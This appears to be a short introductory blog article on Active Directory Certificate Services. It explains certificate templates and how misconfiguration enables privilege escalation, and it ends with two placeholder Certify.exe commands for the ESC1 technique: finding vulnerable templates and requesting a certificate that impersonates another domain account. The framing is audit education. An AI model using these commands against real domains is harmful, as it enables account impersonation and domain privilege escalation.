Understanding ADCS 101
Share
In this publication we will be discussing the basic aspects of ADCS, as well as the ESC1 exploitation technique.
Introduction to ADCS
Active Directory Certificate Services (ADCS) is a Windows server role that provides customizable services for issuing and managing public key infrastructure (PKI) certificates used in software security systems. It allows organizations to secure network communication, authenticate users and devices, and ensure data integrity using cryptographic services. ADCS supports several types of certificates, such as SSL/TLS certificates, code signing certificates, and smart card login certificates, among others.
The use of ADCS is very useful for organizations, since they can deploy certificate templates, so that domain users can request to enroll in said template and obtain certificates, thus obtaining access or privileges over different elements of the domain.
Poor configuration of the Active Directory Certificate Services role and its components, such as certificate templates, can lead to different vulnerabilities that can allow elevation of privileges in the domain.
Vulnerabilities enumeration
To review ADCS services during an audit exercise, tools such as Certify.exe or Certipy are often used.
These two tools allow you to list and request certificates from ADCS, making it easier to identify templates whose configuration is not correct and allows some type of abuse.
ESC1 exploitation
Certify.exe find /enrolleeSuppliesSubject.
Certify.exe request /ca:'domain'\'certifying authority (CA)' /template:"'vulnerable template name'" /altname:'domain account to impersonate'